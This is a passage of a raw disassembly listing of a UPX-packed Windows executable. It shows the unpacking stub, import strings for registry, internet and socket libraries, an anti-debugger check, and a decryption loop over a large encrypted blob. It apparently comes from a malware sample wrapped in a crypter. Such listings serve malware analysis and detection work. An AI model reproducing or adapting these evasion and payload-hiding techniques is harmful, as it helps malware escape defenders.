ebp, 0FFFFFFFFh jmp short loc_31427BD2 ; --------------------------------------------------------------------------- align 8 loc_31427BC8: ; CODE XREF: UPX1:loc_31427BD9j mov al, [esi] inc esi mov [edi], al inc edi loc_31427BCE: ; CODE XREF: UPX1:31427C66j ; UPX1:31427C7Dj add ebx, ebx jnz short loc_31427BD9 loc_31427BD2: ; CODE XREF: UPX1:31427BC0j mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_31427BD9: ; CODE XREF: UPX1:31427BD0j jb short loc_31427BC8 mov eax, 1 loc_31427BE0: ; CODE XREF: UPX1:31427BEFj ; UPX1:31427BFAj add ebx, ebx jnz short loc_31427BEB mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_31427BEB: ; CODE XREF: UPX1:31427BE2j adc eax, eax add ebx, ebx jnb short loc_31427BE0 jnz short loc_31427BFC mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx jnb short loc_31427BE0 loc_31427BFC: ; CODE XREF: UPX1:31427BF1j xor ecx, ecx sub eax, 3 jb short loc_31427C10 shl eax, 8 mov al, [esi] inc esi xor eax, 0FFFFFFFFh jz short loc_31427C82 mov ebp, eax loc_31427C10: ; CODE XREF: UPX1:31427C01j add ebx, ebx jnz short loc_31427C1B mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_31427C1B: ; CODE XREF: UPX1:31427C12j adc ecx, ecx add ebx, ebx jnz short loc_31427C28 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_31427C28: ; CODE XREF: UPX1:31427C1Fj adc ecx, ecx jnz short loc_31427C4C inc ecx loc_31427C2D: ; CODE XREF: UPX1:31427C3Cj ; UPX1:31427C47j add ebx, ebx jnz short loc_31427C38 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_31427C38: ; CODE XREF: UPX1:31427C2Fj adc ecx, ecx add ebx, ebx jnb short loc_31427C2D jnz short loc_31427C49 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx jnb short loc_31427C2D loc_31427C49: ; CODE XREF: UPX1:31427C3Ej add ecx, 2 loc_31427C4C: ; CODE XREF: UPX1:31427C2Aj cmp ebp, 0FFFFF300h adc ecx, 1 lea edx, [edi+ebp] cmp ebp, 0FFFFFFFCh jbe short loc_31427C6C loc_31427C5D: ; CODE XREF: UPX1:31427C64j mov al, [edx] inc edx mov [edi], al inc edi dec ecx jnz short loc_31427C5D jmp loc_31427BCE ; --------------------------------------------------------------------------- align 4 loc_31427C6C: ; CODE XREF: UPX1:31427C5Bj ; UPX1:31427C79j mov eax, [edx] add edx, 4 mov [edi], eax add edi, 4 sub ecx, 4 ja short loc_31427C6C add edi, ecx jmp loc_31427BCE ; --------------------------------------------------------------------------- loc_31427C82: ; CODE XREF: UPX1:31427C0Cj pop esi mov edi, esi mov ecx, 7Eh loc_31427C8A: ; CODE XREF: UPX1:31427C91j ; UPX1:31427C96j mov al, [edi] inc edi sub al, 0E8h loc_31427C8F: ; CODE XREF: UPX1:31427CB4j cmp al, 1 ja short loc_31427C8A cmp byte ptr [edi], 1 jnz short loc_31427C8A mov eax, [edi] mov bl, [edi+4] shr ax, 8 rol eax, 10h xchg al, ah sub eax, edi sub bl, 0E8h add eax, esi mov [edi], eax add edi, 5 mov eax, ebx loop loc_31427C8F lea edi, [esi+5000h] loc_31427CBC: ; CODE XREF: UPX1:31427CDEj mov eax, [edi] or eax, eax jz short loc_31427D07 mov ebx, [edi+4] lea eax, [eax+esi+7000h] add ebx, esi push eax add edi, 8 call dword ptr [esi+708Ch] xchg eax, ebp loc_31427CD9: ; CODE XREF: UPX1:31427CFFj mov al, [edi] inc edi or al, al jz short loc_31427CBC mov ecx, edi jns short near ptr loc_31427CEA+1 movzx eax, word ptr [edi] inc edi push eax inc edi loc_31427CEA: ; CODE XREF: UPX1:31427CE2j mov ecx, 0AEF24857h push ebp call dword ptr [esi+7090h] or eax, eax jz short loc_31427D01 mov [ebx], eax add ebx, 4 jmp short loc_31427CD9 ; --------------------------------------------------------------------------- loc_31427D01: ; CODE XREF: UPX1:31427CF8j call dword ptr [esi+7094h] loc_31427D07: ; CODE XREF: UPX1:31427CC0j popa jmp loc_31422334 ; --------------------------------------------------------------------------- align 400h UPX1 ends ; Section 3. (virtual address 00008000) ; Virtual size : 00009000 ( 36864.) ; Section size in file : 00009000 ( 36864.) ; Offset to raw data for section: 00008000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX2 segment para public 'CODE' use32 assume cs:UPX2 ;org 31428000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing dd 3 dup(0) dd 80C4h, 808Ch, 3 dup(0) dd 80D1h, 809Ch, 3 dup(0) dd 80DEh, 80A4h, 3 dup(0) dd 80E9h, 80ACh, 3 dup(0) dd 80F4h, 80B4h, 3 dup(0) dd 8100h, 80BCh, 5 dup(0) dword_3142808C dd 7C801D77h, 7C80ADA0h, 7C81CDDAh, 0 ; DATA XREF: UPX2:314282F6r dd 77DD6BF0h, 0 dd 77C371D3h, 0 dd 7E41A8ADh, 0 dd 42C2C8A1h, 0 dd 71AB9639h, 0 dd 4E52454Bh, 32334C45h, 4C4C442Eh, 56444100h, 33495041h dd 6C642E32h, 534D006Ch, 54524356h, 6C6C642Eh, 45535500h dd 2E323352h, 6C6C64h, 494E4957h, 2E54454Eh, 6C6C64h, 5F325357h dd 642E3233h, 6C6Ch, 64616F4Ch, 7262694Ch, 41797261h, 65470000h dd 6F725074h, 64644163h, 73736572h, 78450000h, 72507469h dd 7365636Fh, 73h, 43676552h, 65736F6Ch, 79654Bh, 61720000h dd 646Eh, 72707377h, 66746E69h, 41h, 65746E49h, 74656E72h dd 6E65704Fh, 41h, 26h dup(0) ; --------------------------------------------------------------------------- public start start: xchg eax, ebx push 0ED01C390h mov eax, esp call eax pop ebx call loc_3142826F mov esp, [esp+8] mov eax, 4EBh ; CODE XREF: UPX2:31428219j jmp short near ptr loc_31428214+1 ; --------------------------------------------------------------------------- mov eax, fs:18h mov eax, [eax+30h] movzx eax, byte ptr [eax+2] cmp eax, 0 jnz short locret_3142826E call $+5 pop ebp sub ebp, 402338h mov eax, [ebp+402385h] add eax, [ebp+40238Dh] mov esi, eax mov eax, [ebp+402389h] add eax, [ebp+40238Dh] push eax pusha mov edi, esi xor ecx, ecx mov dl, [ebp+402395h] loc_3142825E: ; CODE XREF: UPX2:3142826Bj lodsb xor al, dl add dl, al stosb inc ecx cmp ecx, [ebp+402391h] jl short loc_3142825E popa locret_3142826E: ; CODE XREF: UPX2:3142822Aj retn ; --------------------------------------------------------------------------- loc_3142826F: ; CODE XREF: UPX2:3142820Bp sub eax, eax push dword ptr fs:[eax] mov fs:[eax], esp mov eax, 12345678h xchg eax, [ebx] add [eax+0], ah add [eax+7Bh], dh add [edx+31h], al add [esi], bl ; --------------------------------------------------------------------------- db 2 dup(0), 48h ; =============== S U B R O U T I N E ======================================= sub_3142828F proc near ; CODE XREF: UPX2:314282DAp var_8 = dword ptr -8 ; FUNCTION CHUNK AT 314282FC SIZE 00000050 BYTES pusha push ebp mov ebp, esp call loc_314282AB call sub_31428353 mov ebp, fs:0 add ebp, 8 jmp loc_314282FC sub_3142828F endp ; --------------------------------------------------------------------------- loc_314282AB: ; CODE XREF: sub_3142828F+4p push dword ptr fs:0 mov fs:0, esp xor ecx, ecx push ecx push ecx push ecx push 80000000h push ecx push ecx push ecx push 1 push ecx push 80000000h push ecx push 2000h push 80000000h call sub_3142828F xor [ecx], esi shr byte ptr [eax+0], 0 add [eax+80068h], al add [eax+0], ch ; --------------------------------------------------------------------------- dw 0 ; --------------------------------------------------------------------------- adc byte ptr [eax+50h], 50h push eax push eax call ds:dword_3142808C ; START OF FUNCTION CHUNK FOR sub_3142828F loc_314282FC: ; CODE XREF: sub_3142828F+17j sub eax, eax loc_314282FE: ; CODE XREF: sub_3142828F+75j dec al or al, al jz short loc_31428308 jnz short loc_314282FE jmp short nullsub_3 ; --------------------------------------------------------------------------- loc_31428308: ; CODE XREF: sub_3142828F+73j sub edi, edi sub ecx, ecx mov cl, 49h loc_3142830E: ; CODE XREF: sub_3142828F+80j inc edi loop loc_3142830E call sub_3142834F sub ecx, 0FFFFFFB6h push ecx mov edx, 243Ch loc_31428322: ; CODE XREF: sub_3142828F+A6j xchg al, [ecx] xor ax, di mov [ecx], al add ecx, 1 add di, 0F7h dec edx cmp edx, 0 ja short loc_31428322 pop ecx mov esp, fs:0 pop dword ptr fs:0 leave mov [esp+20h+var_8], ecx popa jmp ecx ; END OF FUNCTION CHUNK FOR sub_3142828F ; --------------------------------------------------------------------------- db 3 dup(90h) ; =============== S U B R O U T I N E ======================================= sub_3142834F proc near ; CODE XREF: sub_3142828F+82p pop ecx jmp ecx sub_3142834F endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 90h ; =============== S U B R O U T I N E ======================================= sub_31428353 proc near ; CODE XREF: sub_3142828F+9p arg_C = dword ptr 10h mov eax, [esp+arg_C] pop dword ptr [eax+0B8h] xor eax, eax retn sub_31428353 endp ; sp-analysis failed ; --------------------------------------------------------------------------- fldcw word ptr [eax+1C252E37h] cwde push cs and eax, 0F9CD6F0Fh aam 0CBh ; [00000003 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND] dw 1727h dd 7AAA200Dh, 7203E371h, 0CE163049h, 0BEA7A970h, 63F3FC2Ch dd 0C6E66C59h, 8D1334BDh, 968790BDh, 0C2606100h, 363F6C61h dd 0ED197FA6h, 65FFEB3Ah, 0CAF7ED7Dh, 0FD9C47C1h, 0EE0A01C8h dd 5E62745Dh, 0D9C24C55h, 0E9E0D831h, 0E2FDE98Ch, 0B25CE0A9h dd 1F3EB8E1h, 86CFAC9Dh, 626B74C4h, 0BFE3A359h, 7277624Eh dd 0FB8A7B78h, 5FE7A766h, 2FD1D8CDh, 0FED6CC9Dh, 6684F989h dd 374B545Ch, 6677BBDBh, 8888DF16h, 0CE9563D1h, 1FEA37CEh dd 0F61663AAh, 0F347C7Ah, 0C7542D15h, 507B3745h, 0EC727376h dd 9BE49474h, 0C3CDACB5h, 99E325A4h, 6E04F3ECh, 9DB15911h dd 0FEC6518h, 70803011h, 2DE4A9DDh, 0F4C77BDAh, 9583D23Ah dd 0F54F0F76h, 42BF936Ah, 69333C45h, 637C774Dh, 868595B5h dd 0EDC7B5B5h, 1F2A7A4Ah, 763FBDADh, 525B6985h, 4B450349h dd 4F766844h, 92819D77h, 3D98D49Ch, 0DE22396Fh, 9283CCA0h dd 565F687Ch, 7E4F210Ah, 4B635348h, 989C8E77h, 10308BE1h dd 97EF3134h, 0E6F90D9h, 0DF636C75h, 661E3C91h, 275FB1D2h dd 2E720049h, 4F5ECC90h, 0A6EFA913h, 6A74C417h, 5E677017h dd 0AFBC30BEh, 165F1D0Dh, 0C6CA81FAh, 0CED7E0A9h, 0B4C73CC5h dd 0B2BA2D2Ch, 1EE0743Dh, 9BE3547Dh, 2391B1BEh, 43740851h dd 0D29BDD5Bh, 970D7D42h, 49CE9CE5h, 0C6F12DBh, 284B3E5Dh dd 1E265839h, 3E880C11h, 0BC8FE89Bh, 4D7F4FC1h, 0D1C3F64Bh dd 59737CB6h, 0B995B0A8h, 0B7A6CBC2h, 0FE4701B8h, 8AB2BDA7h dd 83FF5D2Eh, 5618A4EDh, 9CFD43A9h, 4A7103DCh, 663F0841h dd 0FBE9C21Fh, 0C3B82C3Ah, 92CFA9C1h, 8A86CBB5h, 7A5794ECh dd 2343050Eh, 493F0C51h, 1E478960h, 40CED7C9h, 9BBE17Ch dd 72562224h, 0BF91DB15h, 1865BB71h, 0D728E2EDh, 22A6D264h dd 69FD3A45h, 99A4C1AFh, 0AF7AB0DDh, 12FAB4B4h, 75560575h dd 917542Ch, 2E366D04h, 0B3FF8C64h, 9DED903Bh, 9518A489h dd 6EE84A8h, 0ED475D61h, 2ED7ACDAh, 0DD3CF4D9h, 15AB2A79h dd 0B25F04F2h, 0FBDA9085h, 0CAA73179h, 0E6D2BE35h, 0ED0F56C1h dd 0CE9600A0h, 0F517D179h, 49B5D189h, 0F7321B6Eh, 0DEB32865h dd 0DE3E8BC2h, 871BD0F7h, 0F2FFDCCCh, 6D56E595h, 0A977740Bh dd 0D5497F08h, 1E940C9Dh, 7EA050AFh, 37B249B0h, 55FB7007h dd 5BB3F72Ah, 99D18A2h, 0B9FFC3A5h, 90B614Dh, 0C24A1C44h dd 3EF77BA5h, 6EC8E48Ch, 39A46E1Fh, 182F7676h, 0AA83C054h dd 1A5FF459h, 696BC1EDh, 62EABC24h, 0F1139D05h, 0B599012Dh dd 363B9A22h, 968FBC29h, 0CF2322B5h, 1000D811h, 37A3F08Ch dd 3D3F0D11h, 1E46E870h, 2A0D8CC9h, 1364507Ch, 322F69F1h dd 6E43EDFDh, 24A35D99h, 0D641FFD2h, 8954FA8h, 8286274Fh dd 61A7045Ch, 9BF8736Ch, 528FC971h, 0F9678775h, 0D2E8EBC7h dd 768BE0CBh, 4EBB981Fh, 0B4C7869h, 6A079101h, 51A8A5B0h dd 3B9C9C21h, 1BD39558h, 9106F499h, 14ADA8FEh, 1FDC6C31h dd 7E13AD7Dh, 0C9630B29h, 6D448FA3h, 523AE844h, 8FD33735h dd 0C942D1F6h, 33C0204Dh, 42FFB979h, 51F2489Ah, 0EAB486CCh dd 0DE9E5BFDh, 4DEF9C14h, 6B4C69E5h, 5A3707F0h, 63770D26h dd 0EBFC2C31h, 3192293Ah, 4A14326Ch, 5B09D81Dh, 6FC2837Eh dd 4E233EBBh, 0BAFD5B32h, 86F4B9BBh, 819ECFD5h, 0E730B8CFh dd 80C74E5Eh, 59EE1DA5h, 0CB2F5CF4h, 0AE83A849h, 1EBAA0D2h dd 69943EA0h, 0AF748A4Eh, 0FED35501h, 0E10184A9h, 0CD3FB750h dd 0F4235873h, 64D8AA1Eh, 1399BCF9h, 0FA40A08Dh, 6B40C7Bh dd 5E1BB88Fh, 400FE4C9h, 0ECC9013Dh, 0A7900CAFh, 6E03DDF5h dd 9A3337C1h, 0D642CE45h, 84B27F1h, 54DF5345h, 0E0A72E29h dd 2611E29Fh, 52A63269h, 9FE3E275h, 0C547EB53h, 36BE0458h dd 87A69351h, 0B93777DAh, 0E7B85B74h, 6CB1088h, 0F8DB2561h dd 0C18828D5h, 7736512Ah, 16AB506Dh, 0B613E9BCh, 9EAC98C5h dd 0D20791A4h, 19E9701Dh, 523AA054h, 8EB52035h, 959B5479h dd 0C63E4B62h, 34D6FEC1h, 0B996540Ch, 0C6E6322Ch, 65AB588h dd 0FA7A2371h, 67C328A0h, 1A42789Ch, 3CFFD0ADh, 1DE04651h dd 0FEA6B450h, 55E741E9h, 0CC6D0F68h, 59192A83h, 1C626221h dd 0BA978551h, 0B26E334Dh, 0E50A2EB4h, 685A8AF5h, 8DA24860h dd 390D90D8h, 321A5074h, 0F8472355h, 4C67220Fh, 46FE3FBAh dd 0A1DFAC84h, 18408C1h, 0A52B83Ch, 0C3B9ADDh, 0E21A4343h dd 0B7230880h, 7A57D5D1h, 0BF2A8B1Ah, 956B281Dh, 6BDF2D1Ah dd 0DC34E489h, 0B0A7F5FEh, 666F5CE1h, 0DED61742h, 5FF7F4ACh dd 907774EDh, 109B5272h, 1A6727ABh, 0E0A72E61h, 8EEE4FB7h dd 0D7CFBC34h, 5D3FFCB5h, 3A1329D1h, 0E742D3CDh, 87C6FCB2h dd 9EF34E19h, 0ABC68CFCh, 46DB1D93h, 0A4FFC831h, 7D537884h dd 0AFDF6126h, 0D66E402Dh, 5D501868h, 0F15BBCF1h, 8AD138ACh dd 1B17985Dh, 0ED5CC33Eh, 0CE96F4A0h, 7B4FBF79h, 0B64A08C9h dd 0D740DB91h, 0DEB30D59h, 557C81A0h, 6525D02h, 0B2B78479h dd 0EEC3415Bh, 5A77397Ch, 56AB80ACh, 0E21F2C71h, 0BE9358C5h dd 0F57492B8h, 0E6CE7888h, 7E16D781h, 0B516C871h, 0E6547A5Bh dd 9378010Fh, 0E7122D9Fh, 7451B7C1h, 99B3476Ch, 0F468C7E1h dd 464ABEh, 0C283DD21h, 7645002Ah, 0D56BAE88h, 56BE89C3h dd 92BA5E60h, 967C5CCh, 125A95AFh, 0FEE6FA24h, 7E4205D0h dd 1D39BD89h, 4488A0CCh, 0A74B6D74h, 3D1CCAB5h, 6B7497ACh dd 0E3E9137Dh, 600A28C0h, 1A2C8570h, 0A89FE0FCh, 0D64F6148h dd 3FADEB2h, 5647BD31h, 0EEC6211Bh, 4309F39Dh, 6AA8860h dd 0A68FE71Ah, 967785Ch, 17E5B3FFh, 6D97BF21h, 0E6F67851h dd 213D0E0h, 22BA754Fh, 9EC6DA61h, 436A7CB0h, 0C9D8A0BCh dd 739F3314h, 0CF36385Ch, 1B1498E0h, 0A68E425Dh, 92CF3138h dd 676D55B3h, 0CFD0AD41h, 8EB21379h, 0D327494Bh, 27C5E5C2h dd 0AA967F65h, 0CFEB0D0Fh, 6376B9A9h, 0C68A9B21h, 9BA707D8h dd 3B3F5175h, 33C7E4C3h, 87582C30h, 0D3F60CB1h, 664E8299h dd 0CB9A7E78h, 954F3DE4h, 2B377C90h, 0DBC7E4D4h, 0F64A0839h dd 0D40B2996h, 77408AC0h, 0ADC74A66h, 0A30DE4D8h, 1D466F93h dd 0EFFBED3Bh, 7B583859h, 0F4028C89h, 5BAD8DC3h, 9F9E1844h dd 2F0ED2D9h, 205DBFAAh, 92EAD028h, 604638FAh, 1F3BBDBFh dd 46BBC1C0h, 83586278h, 3B03F7E5h, 4575B4A7h, 0F5E8351Eh dd 5D1D0CA1h, 1D308D76h, 0B3B186AAh, 0D65F735Fh, 1F0DEA1h dd 0D60AB20h, 0F2C20A5Bh, 4328B0E9h, 3EA6BA75h, 0BA97C910h dd 4F757D4Bh, 37F885B9h, 769A9F51h, 0FBDF1163h, 0F2ACDDDh dd 23B7433Dh, 0A1AFEC04h, 4B775BACh, 0F7DEA0B4h, 50841408h dd 0F63A0058h, 7E36F5ECh, 0AB8A6A7Ch, 83D2262Dh, 546973B6h dd 8EC6A45Ch, 8EA53D2Fh, 0F7274178h, 21D0E0FDh, 0B7816F65h dd 0C3C1013Dh, 481BB591h, 0D88B9D55h, 0BEB71BE0h, 33015D6Bh dd 33CCE5C1h, 89707802h, 0F09336A0h, 6F55879Dh, 0E09E447Ch dd 0D22A10E8h, 3C207CBBh, 0DFE3F5DCh, 9564121Dh, 820C3FB4h dd 6C708CEBh, 8FB3456Ch, 0A534E2EDh, 375C6F84h, 0DACDA82Dh dd 7B52061Ah, 0F338A599h, 4DB698D2h, 8A9D186Bh, 1C17E5E4h dd 294C95B4h, 0F1EAEF27h, 604C21C1h, 35239AF9h, 70A5C5FDh dd 0C25A6078h, 2E3CCCABh, 58578AACh, 0F5FE3312h, 590008D2h dd 20438670h, 0B585E4EDh, 0A2486559h, 16EDC5A7h, 737FB930h dd 0F8C8290Ch, 5235B0E4h dd 26A68E56h, 0BC8ADE10h, 5676614Dh, 19E68580h, 50FFB523h dd 0F0E61451h, 0E28C7E0h, 34AF4358h, 0A6C8F208h, 5D6D69BAh dd 0E8C3A7B0h, 168C2E04h, 0F11E3F66h, 0A21F9F1h, 0A9E7745Ch dd 83C81F31h, 796C53B2h, 0EDA3BC50h, 9FB93A16h, 0D14B546Eh dd 2DD7F8F4h, 0A7914C16h, 0CFEA0527h, 657EA2FDh, 0D79CDC57h dd 9DC30CFBh, 3F1C5776h, 38E280D9h, 8C6D4905h, 0D2D02CA0h dd 4242B786h, 0CA9F5E7Ch, 0BC067CE4h, 20116D81h, 0DFD0E0DCh dd 98642339h, 0F61C29BFh, 6A609CC0h, 0EAA25068h, 0A32FFEF4h dd 64A7293h, 0C0E6D81Ah, 747E7418h, 0F819A599h, 529098D4h dd 8C867660h, 367C5C5h, 145E84B3h, 0C0FBD92Fh, 484729D0h dd 7A32B890h, 779DE4CCh, 0F00C4541h, 123FFCCBh, 4D62B6C9h dd 0F5F43C3Eh, 4B0A17C4h, 926BA15h, 0B492C4D6h, 93526566h dd 309FED89h, 4B42BF20h, 0DCDE360Ch, 430EDCFCh, 528E8444h dd 9D84ED27h, 5B41605Ch, 33EE95A1h, 81FF8D29h, 56987DCCh dd 6A47CCD8h, 0A56F83Dh, 0F2C59F45h, 7E522DBFh, 11B29E8Ah dd 0C26010A1h, 0E2353861h, 8100CAD4h, 8AD2F4BCh, 0EA7FF35Dh dd 27FBA93Eh, 4A20C875h, 77809771h, 0F65E9188h, 1240BF91h dd 0D099380Fh, 9F23F1B6h, 0C69ED0BDh, 0B27F582Eh, 86936895h dd 5A775DD7h, 56C15426h, 0A275E0FAh, 0AE9358ADh, 5825AEE9h dd 68933077h, 0B84F7CE8h, 1E3059F5h, 8F730146h, 0AF54600Dh dd 0B743D92Eh, 0E1B6F8E5h, 674C787Dh, 0C61B8535h, 0E7A21002h dd 0AEC3B855h, 4960A55Ah, 13E01212h, 229FD965h, 0DD479788h dd 1E8F84A9h, 0EDC40F22h, 0D2BA54C4h, 0EFACC5B5h, 9257D4DAh dd 0C9345FCEh, 0F7E7899Ah, 0D1FEB8A5h, 2A07C721h, 79646295h dd 0EEEAD75Eh, 0EB43A820h, 57FCC059h, 0D608F5A2h, 9D8244F1h dd 0F99827BAh, 62F28736h, 267BB09Dh, 46227D5Ch, 0FDE3C86Fh dd 949299F0h, 278BA0D0h, 52AE9D05h, 0B4C2974h, 6A0791E5h dd 0B9FF14BAh, 0B29AA0F4h, 2AC175D5h, 9A5FA1D9h, 4BEB406Dh dd 0B81C81B0h, 813998C5h, 0D0E991A4h, 0B4EB701Dh, 122B1C0Ch dd 4A20C81Fh, 7F103275h, 0B60B3A59h, 0C778AC5Ch, 0DEB32233h dd 0AAAD646Dh, 77113A0h, 8110DD4Bh, 11C71B6Ah, 2EB7B10Ch dd 56A0E85Dh, 32942C71h, 82C35B9Eh, 10557164h, 1C70305Dh dd 0D24F7D8Dh, 4F6B827Eh, 429494B9h, 7D6BAB66h, 0E3D9BF1Ah dd 0FC74FDD1h, 6905CFFCh, 4D0C9F7Ah, 0BEA44F35h, 0EEE9FC05h dd 0E55D2608h, 0A39B5512h, 0E65CECF1h, 8A469309h, 6167C49Ch dd 61D1730Ah, 92E5BB86h, 59AA485Dh, 603D17FAh, 36C248D5h dd 80B20C11h, 978D1284h, 43C414BCh, 0C6AD16E8h, 3AEB59A1h dd 0FBCAAA1Dh, 0DAB782DFh, 83E8E2DAh, 629FAC19h, 0D3928545h dd 8AE75F60h, 10312D16h, 2E4CFC41h, 0C1E38051h, 3A17ADBDh dd 7E6761CDh, 56FFCC53h, 9EB27C4Dh, 0FAD25B89h, 0CDDB5008h dd 0D62B119Dh, 2E0329D1h, 72B79E89h, 16EB4069h, 0A20B3E67h dd 0F2C667D2h, 0F9E7441Ch, 0E22CFD94h, 430F3CC0h, 0DFA1A264h dd 0FABF5513h, 0E40B200Dh, 77E3196Eh, 5B653825h, 0FADC10BFh dd 71FB8A9h, 4DB8DC21h, 0ECE34C21h, 0CF883419h, 56EBB685h dd 96DFA928h, 0EE87BBD3h, 0A4D1062h, 0F0AC614Fh, 0E783E97Eh dd 0CB3A08B5h, 0EC47E179h, 0C337F5B2h, 0D5F24C91h, 7464AAE1h dd 7D4A7C4Dh, 0C65B91B9h, 18EF2F4Ah, 570F145h, 4A672409h dd 0C43B90BDh, 17BB794Eh, 3A521845h, 4A6786A1h, 6E1F8422h dd 0A49729BEh, 0F17048F5h, 3A61CC6Ch, 3209FD8Dh, 0C8018C11h dd 0D535B990h, 6A126044h, 0B82B37Dh, 727F5C34h, 3892EB15h dd 1A736666h, 0D7348822h, 0E690ACF1h, 3E13D955h, 0FF9D7AE9h dd 18FBF68Dh, 534BF301h, 4EE38874h, 0CB623407h, 26B5618Bh dd 77B88218h, 587CF367h, 4108A5CFh, 46B141F3h, 0DFCCA30h dd 6E353840h, 5B8CADD9h, 1634C562h, 27D26C31h, 7E138527h dd 0C68F0443h, 0B6BB705Dh, 29AC392h, 0B3A38803h, 0FAD75475h dd 0B6F4A502h, 0F3568C91h, 5FF33865h, 0E3D53477h, 0A39EDFABh dd 31EFDC21h, 0D26F6053h, 0C3F33B14h, 6AAB80ADh, 4EEC5951h dd 3B9C62F9h, 0A27C465h, 86DB3DB0h, 0F3725CA1h, 3B176D92h dd 9AAB38C6h, 888A1C38h, 0F6176C2Eh, 9F428DD1h, 0D0B72777h dd 0AE2EBF92h, 72D05B27h, 0BE39995Ah, 0ED37747Eh, 394920Fh dd 229FD90Dh, 0AE83D836h, 438FD4F9h, 223BF0DDh, 0FEE1CB2Eh dd 0E4729DAh, 4C774106h, 0F64EA0CDh, 0B0C3A65h, 68393D6Ch dd 4256E489h, 69B527Dh, 62390DF0h, 58677DEAh, 4F7AB4D9h dd 0D66B1B2Eh, 36569FA1h, 6F418814h, 0E632BB38h, 0A17BF0A8h dd 0C730D805h, 0CEA3BD49h, 0B797D7C1h, 76CBF5BAh, 513C3550h dd 0C9E73E6Ah, 3602F6C8h, 34B87970h, 94C0EF0Eh, 475474A1h dd 0EDD890B7h, 63A81C1Eh, 0CC3A1E43h, 0C36CEF1h, 0A4886D5Ah dd 96C33501h, 777D53ADh, 0EFF7C847h, 8EB2330Bh, 0C2384F45h dd 0BDBF8E91h, 51816D95h, 0C5F51499h, 2876B985h, 0D58CAE48h dd 96A204F4h, 36071A60h, 15E2CEADh, 88710C3Ah, 0D9F428BDh dd 5F2DB285h, 86A9754Eh, 0E27D4CEAh, 6E5238C0h, 9AB9B497h dd 0B9414D77h, 0A45F0298h, 6A4191D3h, 2922E7Ch, 0C65B90BDh dd 0C6C29DBCh, 6883E848h, 5A2203DCh, 394C0EDh, 229FD925h dd 8ACCF0C4h, 0C179EE95h, 260EA068h, 0AE23E541h, 68093D9Bh dd 67A8EA78h, 8B4683F8h, 0C27F3A51h, 971CE6Eh, 0A7A2826Ch dd 0C6A83AF8h, 0A2EAD3A1h, 9443A826h, 560DF210h, 67D0FE63h dd 89504EF0h, 8F965506h, 0DAA7047Ch, 2811B0F7h, 676B69FEh dd 0B2608835h, 4F131C1Dh, 768F08E6h, 44ACCC51h, 0B4C7866h dd 6A079101h, 0B92758D5h, 0F2A8749Eh, 685028D5h, 0C9F8AB9Ah dd 9E7EBF6Dh, 4A5F2C04h, 81AC64B4h, 351452C1h, 0E5368FA2h dd 0FA0F7CD2h, 8EA3C83Eh, 0A892072Ch, 0F265123Eh, 0BDBFC0DDh dd 9EC6A4F0h, 0AA8D8C49h, 756CD0FDh, 0DC86AE51h, 0EE820EE1h dd 12E2CB49h, 0DFABC098h, 0A22A78F4h, 33A257C5h, 4A3F2464h dd 0E07EB91Dh, 834F3CB7h, 7BFF9D0Ah, 0D20494F9h, 0F60B6049h dd 9A92F95Ch, 936AF8E5h, 0AAF108B4h, 308D78BDh, 0B549E31Eh dd 0EE9ECFD0h, 99C78B59h, 0D676A948h, 0B752ECB1h, 0FE930522h dd 4B0DD0F9h, 0E69F0B7h, 128FBC43h, 3813DD4Ah, 0BAD2D4B9h dd 0BBE9D5D7h, 8222569Ch, 5819EAE5h, 37605144h, 0D0CF503Dh dd 603E0CF1h, 58777DEAh, 25AFB4D9h, 961D2CB8h, 2F1A6AF1h dd 3E13987Dh, 8AA74881h, 6928E79Dh, 60FCB742h, 82AFCC5Bh dd 0A682EB39h, 0E58BA0F8h, 2FFCB39h, 0DA06F525h, 3347E491h dd 7327ADB0h, 0A3479C21h, 0C6FCD723h, 9AB7F4D5h, 5FA5093Ah dd 8C0B297Fh, 7E1FD4C1h, 0FF7B91D6h, 263E701Dh, 13E8B8CEh dd 0E630C835h, 0FAD7547Ch, 0AEC99580h, 0CFE68CD1h, 9EC520D8h dd 5C9D8C49h, 0BB982F02h, 0B2AFEA3Dh, 2C476795h, 0DB773418h dd 56AA1041h, 0E3777871h, 419358C4h, 4A12387Ch, 363FB11Dh dd 824F7C80h, 4E09DC7Eh, 0A6026BEBh, 730B207Bh, 8F0A1511h dd 1E2070CDh, 5652DB09h, 2D5BD088h, 1B929F03h, 0AE83E848h dd 9FBA5D2Ch, 962BDD80h, 2A4A13E1h, 7BD35833h, 71E38B69h dd 0ED3BF0DCh, 9204B001h, 8BAC784Ah, 7A17C990h, 0E86254Bh dd 0A83E0C51h, 3472D2E5h, 3E921BCBh, 59B104Bh, 0B660A359h dd 6E43E907h, 0BF62390Ah, 0BC2B4030h, 9DCCFEE1h, 7E25DCD0h dd 8567C169h, 267B4218h dd 0D4727101h, 7FE3C868h, 0C0ABFC31h, 0E2E31F32h, 5CFFCC51h dd 0AA3A9E0Eh, 0FFB8F0ADh, 469B25A5h, 0EF3B21ECh, 2FB22895h dd 654D6931h, 32AFCB92h, 0AABFAD21h, 7A77DC8Eh, 0C1EFE4E8h dd 0B6B35419h, 120F3929h, 0B88DED35h, 5805401h, 0F67E7498h dd 4E7B0F91h, 0FEF57FA3h, 0B706F1C4h, 671D0BDh, 0B2EFFD49h dd 11903A95h, 1A41248Ch, 72D70DADh, 77E07B65h, 0BED36D9Dh dd 1FC02Fh, 0F6FB5A5Dh, 47B02FD6h, 4E233EE5h, 71A72BAh dd 0F64B7DEFh, 8E174CBBh, 4933F8A5h, 0FA52DB5Ah, 0FB5BD08Bh dd 722F1CEDh, 1B0EE520h, 1A774217h, 0AE264D60h, 0ECF4ECF1h dd 0A882186Fh, 46F27BFAh, 0E53BB0EBh, 0BDF1BCB9h, 83DDC324h dd 3A619A4Ch, 0C4C6108Dh, 0A22F79BFh, 0A189400Dh, 3D758536h dd 